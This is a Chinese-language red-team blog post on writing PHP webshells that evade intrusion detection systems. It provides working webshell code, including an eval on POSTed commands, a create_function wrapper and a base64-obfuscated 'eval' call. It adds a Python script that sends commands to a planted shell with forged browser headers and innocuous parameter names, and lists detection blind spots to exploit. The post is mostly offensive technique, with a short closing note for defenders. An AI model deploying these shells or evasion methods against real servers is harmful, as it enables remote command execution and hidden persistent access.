一、从日志中发现蛛丝马迹
有一次,我在一场红队演习中遇到了一道棘手的任务。目标公司部署了一套极为严密的入侵检测系统(IDS),甚至连Webshell的存在都能被快速检测到。作为攻击者,我需要反其道而行之,从防御的角度反推,找到在这套系统下隐藏Webshell的方法。

了解防御机制
通常,入侵检测系统会通过以下方式来检测Webshell:
- 特征匹配:系统会通过已知的Webshell样本库进行比对,任何与样本库中编码、函数调用类似的代码都会被标记。
- 异常行为监测:例如,频繁的文件修改、调用系统命令等行为都会引起警报。
- 流量分析:分析HTTP请求的内容、编码、参数传递方式等,识别可疑请求。
理解了这些机制,我开始思考如何在攻击中绕过这些防御。
二、环境搭建:模拟真实战场
为了实现Webshell的免杀,我搭建了一个与目标公司相似的测试环境。包括Apache/Nginx服务器、PHP解析环境,以及常用的IDS工具如Snort、Suricata等。
环境配置
- 安装Web服务器:我选用了Apache服务器,模拟目标环境的配置。
- 配置IDS工具:Snort是个不错的选择,它支持实时流量分析与数据包记录。我在本地部署了一套,并导入了常见Webshell样本库。
- 日志查看工具:使用Splunk进行日志数据的聚合和分析,帮助识别特定攻击行为。
搭建完环境后,我可以在一个安全的沙箱中测试各种Webshell免杀技术,而不会对真实系统造成影响。
三、Payload构造的艺术
在构造免杀Webshell时,我首先想到了通过修改Webshell的代码结构来避开特征匹配。常见的PHP Webshell样本中,大量使用了eval、system等函数,这些正是检测系统的关注点。
代码重构
基础Payload:
<pre><code class="language-php"><?php
这是一个简单的PHP Webshell
eval($_POST['cmd']); ?></code></pre>
免杀重构:
<pre><code class="language-php"><?php
我们把eval替换为更隐蔽的方式
$func = create_function('$code', 'return eval($code);'); $func($_POST['cmd']); ?></code></pre>
通过使用create_function,我们避开了直接调用eval,从而提高了免杀能力。同时,通过进一步的代码混淆和加密传输,也可以提高Webshell的隐匿性。
四、流量伪装,迷惑侦测工具
为了进一步迷惑检测系统,我开始考虑如何在流量层面进行伪装。目标是让Webshell的流量看起来不像攻击。
使用HTTP头伪装
正常的Webshell请求大多会包含可疑的参数,比如cmd、execute,这些参数很容易被检测到。通过修改HTTP头信息,我们可以减少被识别的风险。
<pre><code class="language-python">import requests
url = "http://target.com/shell.php" headers = {
模拟合法用户请求
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Referer": "http://target.com/index.php", "Content-Type": "application/x-www-form-urlencoded" }
cmd被替换为更隐蔽的参数
data = {"action": "ping", "data": "echo 'Hello World';"}
response = requests.post(url, headers=headers, data=data) print(response.text)</code></pre>

通过这样的方式,我们将攻击流量伪装成正常的用户请求,降低了被检测到的可能。
五、抗检测技术:攻防博弈
在一次模拟攻击中,我注意到即使经过了多层伪装,IDS仍然能够捕捉到异常的行为。这促使我进一步研究如何在代码级别进行改进。

动态加载技术
Webshell中常用的函数调用正是检测的重灾区,所以我决定使用动态加载技术来隐藏关键函数。
<pre><code class="language-php"><?php
动态加载关键函数
$invoke = base64_decode('ZXZhbA=='); // "eval" $invoke($_POST['cmd']); ?></code></pre>
通过这种方式,即使IDS通过特征码识别,它也无法简单地通过字符串匹配发现eval函数的调用。结合流量伪装,可以极大地提高免杀的成功率。
六、发现盲点:防御的缺陷
在攻击的过程中,我也总结了一些防御系统的盲点。这些盲点往往是攻击者能够利用的地方。
缺乏动态行为分析
绝大多数防御系统只会对静态代码进行分析,而缺乏实时的动态行为监控。通过在Webshell中加入随机性和动态变化的行为,可以有效避开静态检测。
日志分析不够细致
很多时候,日志分析往往只关注特定的关键字和模式,而忽略了请求的整体行为和上下文。通过控制请求频率和模拟真实用户行为,可以让攻击更加隐蔽。
七、个人心得:攻防之道
在多次实战中,我深刻体会到,攻击与防御永远是一场博弈。作为攻击者,我们需要不断探索新的免杀技术,而作为防御者,则需要不断更新检测策略。

攻击者的思维
- 动态演变:永远不要对现有的方法感到满意,攻击技术需要不断发展。
- 逆向思维:从防御的角度反推攻击手段,往往能发现新的突破口。
防御者的反思
- 多层防护:单一的检测机制往往不够,结合多种技术手段才能有效防御。
- 实时监控:静态分析需要结合动态监控,以便及时发现异常行为。
总之,无论是攻击还是防御,技术的创新和思维的灵活才是成功的关键。在这场没有终点的攻防之战中,每一步都是为了更高明的博弈。